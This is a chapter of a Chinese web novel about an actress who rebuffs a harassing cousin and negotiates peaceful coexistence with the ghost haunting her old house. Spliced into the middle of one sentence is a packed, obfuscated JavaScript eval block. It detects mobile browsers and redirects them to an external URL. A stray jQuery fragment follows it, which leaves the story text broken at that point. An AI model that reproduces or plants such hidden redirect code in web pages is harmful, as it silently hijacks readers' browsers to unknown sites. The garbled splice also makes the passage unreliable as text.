8. 啄他

作品:《笑死,凶宅向我求婚

    老房子凉爽的温度比空调舒服,张默喜睡到中午才起来。


    第一次超度成功,她很有成就感。


    立秋后的阳光依旧酷热,暴晒空旷的天井。


    一张藤制的摇摇椅在阳光底下悠然摇动,半躺在椅上的男子身穿古朴红袍,红指甲尖长的双手搭在扶手,光滑的黑发束在胸前。


    威猛站在靠近东厢的一侧紧盯那个邪物,翅膀要张未张,是戒备的姿态。


    走出卧室的张默喜脚步一顿,随即若无其事地去卫生间。


    她最擅长装看不见。


    一关上卫生间的门,她破防了,捂着嘴巴不敢吭声。


    一睡醒就见鬼,吓死她了!


    那张摇摇椅是她买给大爷的,她当然不敢赶他起来。


    他出来做什么?挑衅?示威?


    正午的阳气最猛烈,他一个妖魔鬼怪竟敢出来晒太阳,一定是向她示威他的强大。


    可能是带张永花回来而惹怒他?他大可以当晚赶她们出去,为什么到现在才现身示威?


    张默喜搞不懂妖魔鬼怪的思维,耳朵贴门偷听外面的动静。


    没有动静,不想了。


    她匆匆洗漱,穿过天井时目不斜视,抱起威猛出门。


    摇椅子的晏柏:“……”


    奶奶和妈妈看见她回来吃午饭,肉眼可见的松口气。


    饭后,她到隔壁看望张永花。


    “喜姐,这是送你的,谢谢你帮我超度阿婆。”张永花羞涩垂首,递来一小束百合花。


    一共五枝,有白的,有粉色的,包装得可好看了。


    张默喜惊讶她破费买花,笑着接过来。“谢谢。哇,花很香!”


    她展颜欢笑:“老板娘说这几枝最好看。”说着,她忐忑地扣手指:“我不知道买什么答谢,路过花店的时候觉得你和百合花一样漂亮,你……喜欢吗?如果不喜欢,我可以买别的。”


    张默喜笑着摸她的头顶:“当然喜欢,很久没人送我花了。”


    张永花羞涩一笑。


    “对了,你接下来有什么打算?”张默喜捧着百合花坐下来。


    “我想去镇上找工作,但我不识字,不知道人家肯不肯要我。”她自卑地低下头。


    “你会写自己的名字吗?”


    “会啊,七婆教过我。”


    原来奶奶教过,张默喜了然。“以劳动为主的工作不用和文字打交道,只要勤奋,雇主会雇佣你的。”


    她眼前一亮,开始数手指:“我会干很多活,洗碗、打扫、帮表舅刷过腻子、帮首饰厂串过珠子……”


    张默喜为她分析就业形态:“工厂包吃包住,工作环境稳定,不过工资不高。去普通餐馆洗碗的话,一个月大约有三千块,包吃不包住。想要节省生活的开支,最好找包吃的工作。”


    说完,她对上张永花崇拜的目光。


    “喜姐,你懂好多啊!”


    张默喜苦笑,又产生暴揍张父的念头。


    如果阿花能上学,就算考不上高中,也能上高职学一门技能,毕业后当吹空调的办公室文员也比去餐馆打工好。


    下午,她没有回老房子,而是陪家人看看电视,随奶奶到院子给豆角、青瓜、南瓜、芒果树等浇水。


    奶奶调侃是哪个小伙子送她花。


    “阿花送的。”


    “阿花为什么送你花?”


    “感谢我指点她找工作吧。”


    奶奶收敛笑容,欲言又止,只剩一声叹息。


    下弦月高悬夜空,张默喜抱着威猛回老房子。没有下过雨,没有风刮过,今晚却比平时凉爽。


    这时,前面走出一道人影。


    嬉皮笑脸的青年,耳朵夹着香烟,穿着拖鞋走来。


    张默喜想不起在哪见过他。


    “表妹,这么晚去哪啊?”


    哦,记得了,勉强算是表哥的人。


    “回村尾的老房子。”


    青年若有所思:“村尾?那个闹鬼的老房子?”


    “是啊,我住那里。”


    青年目光闪烁:“表妹,别说表哥不给你指明财路。有一位买凶宅投资的老板想买你住的老房子,表哥要的中介费不多,就——”


    她斩钉截铁:“不卖。”


    他的笑脸垮了:“这位老板愿意出五百万。”


    “不卖。”


    他气得咬牙:“别太倔,如果五百万太少,我可以帮你约见面详谈。”


    “不卖,再见!”张默喜不再搭理他,径直走过。


    沐浴露和洗发水的香味钻进青年的鼻子,他的心痒痒取代恼怒,连忙快步跟上拦住她。“表哥不是想逼你,我觉得我们可以聊别的。鬼屋不安全,不如去我那坐坐吧。”


    张默喜一看他猥琐的笑容就看穿他的企图,冷笑着反唇相讥:“鬼屋比你家安全。让开。”


    青年的笑容立刻消失,恶狠狠地警告:“装什么清高?我上网看过了,都说你和许多大老板睡过觉,我看得起你这万人骑的贱货你该高兴!”


    啪!


    他难以置信自己被扇。“你这个贱货——”


    啪!


    张默喜扇他的右脸,对称了。“那些大老板对我嘴贱就是你这种下场!威猛,啄他!”


    一声令下,展翅的威猛狠狠地啄青年的左胸。


    “啊——”


    凄厉的惨叫令张默喜胸疼。


    威猛似乎啄到他胸口最脆弱又最疼的地方。


    她急忙抱着威猛逃离现场。


    回到老房子也能听见他的哭喊,痛快的张默喜摸它的橘红羽毛:“威猛干得好,以后再有老板想潜规则,我带你一起去。”


    拒绝潜规则和饭局的下场就是遭遇雪藏,她被前东家雪藏了两年到约满,导致人气大幅下降。


    “咯咯咯——”


    挑衅的打鸣使她警惕地抬头。


    月下,红衣男人坐在西厢前面的台阶上,背靠朱红柱子,慵懒地曲起一条腿,右手搭在膝盖上。


    张默喜霎时僵硬地放下威猛,目不斜视地回卧室。


    看不见。


    她是瞎子,什么都看不见。


    然而当她洗完澡,穿着长T恤和短裤开门,她目瞪口呆。


    门外是笔直、长长的走廊,两侧是惨白的墙壁。


    砰!


    她立刻关门。


    一瞬间,卫生间的灯熄灭。


    她冷汗直流。


    在黑灯瞎火的卫生间过夜?臣妾做不到啊!


    她再次开门,硬着头皮踏进迷宫走廊。跟上次一样,她遇到房门就推开,期盼遇到大爷或者她的卧室。


    哪知那个家伙坏心眼,她连续打开的房门来自厨房或杂物房。怒气战胜恐惧,她气冲冲地踢开一扇扇相同的房门。


    嘎——


    哦豁,这个古色古香的房间很眼熟!


    她犹豫片刻,鼓起勇气走进去。


    依旧是那两扇花鸟屏风,依旧是那张华丽的洞门架子床,不过他不在房间。


    挣扎数秒,她一个屁股坐上床,对着空气威胁说:“你再不让房子变迷宫我躺上你的床!快让我回去!”


    轰——


    冰冷的狂风撞开镂花房门,阴沉的男人停在她


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16491425|185885||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    的跟前不再靠近。他的脸色很臭,稍微向右看,长发飘起。


    他不明白明明藏好自己的卧室,她却两次都找到,气煞也!


    “起来!”


    张默喜第一次清晰地理解“怒发冲冠”的含义,但屹然不动,强作镇定:“你先答应我别再变迷宫出来。”


    晏柏神色阴鸷,活动长着尖长指甲的手指。


    她连忙补充说:“我有这座房子的房契,我是房子的现任主人,你们也要遵守人间的法律。”


    他挑眉:“了解甚多。”


    “如果你杀了我,会惹警察和道士上门。现在的警察很烦的,他们会搜一遍房子,沾泥的鞋子踩地板,四处喷刺鼻的液体检查血迹,还会到处乱翻,把房子弄得又脏又乱。”


    晏柏的脸色堪比乌云密布的天空。


    “虽然你不怕道士,但是老百姓比道士更烦。出了命案的房子会名声大噪,吸引许多不怕死的年轻人来做探灵直播,成为灵异探险的打卡地,很烦人。”


    他疑惑地蹙眉:“何为直播?何为打卡地?”


    张默喜见他听进去,暗道有戏,急忙比划:“每个现代人都有一部长方形的手机,代替书信联络别人。人们会拿着手机来这里,把老房子拍摄进手机,和成千上万的人聊天,引来很多很多不怕死的人进来玩。”


    晏柏似懂非懂地沉思。


    “你想想,你每天要赶几批人出去多麻烦,而且下一个屋主不一定比我爱干净,他可能会随地撒尿。”


    “够了!”他乌黑如深潭的眼睛直视张默喜,看穿她的意图:“起来说你要如何。”


    张默喜见好就收,扶着洞门站起来,掩饰腿软的窘迫:“我们和平共处,河水不犯井水。我不打扰你,你也不能弄出各种各样的动静吓唬我。”


    “鸡呢?”


    “它也不会打扰你,我保证它听话。”


    晏柏阴沉沉地盯着她,愠怒的表情像要挖出她的心,验证她有没有撒谎。


    她握紧拳头假装淡定,与他四目相对,努力露出真挚的目光。


    半晌,他挥一挥手指,操控房门打开。


    张默喜斜睨门外的景象——恢复正常了,她心花怒放,脸上不显。


    果然以前参加带剧本的综艺能提升演技。


    “出去。”


    “感谢公子的不杀之恩,小女子告辞。”她抱拳,随即撒腿就跑。


    晏柏忍下她错误的揖礼,大袖一挥关门。


    人是跑了,但他的卧室残留每天闻到的沐浴露香味。


    他走近床榻——香味更浓。


    他闭眼,拂袖转身:“成何体统!”


    张默喜惬意地躺在床上玩手机,跟弟弟瞎聊几句。


    【地主的傻儿子】:姐,你还活着吗?(每天一问)


    【喜】:你猜和你聊天的是不是鬼?


    【地主的傻儿子】:人!鬼拿不起来手机


    【喜】:妈烧给我了


    【地主的傻儿子】:跪下.JPG


    【地主的傻儿子】:姐,我不该弄坏你的吉他模型,我马上买新的烧给你


    【喜】:?


    【喜】:等着我回去收拾你!


    【地主的傻儿子】:嘿嘿,等你回来拿高跟鞋拍我


    张默喜抛白眼,退出聊天界面听歌。


    深夜,准备睁眼假寐的威猛警惕万分,盯着在天井走来走去的晏柏。


    一妖一鸡对上视线。


    晏柏慢悠悠地走到鸡窝前面。


    威猛警惕地抬头。


    他向威猛伸出手掌,狡黠一笑:“啄我。”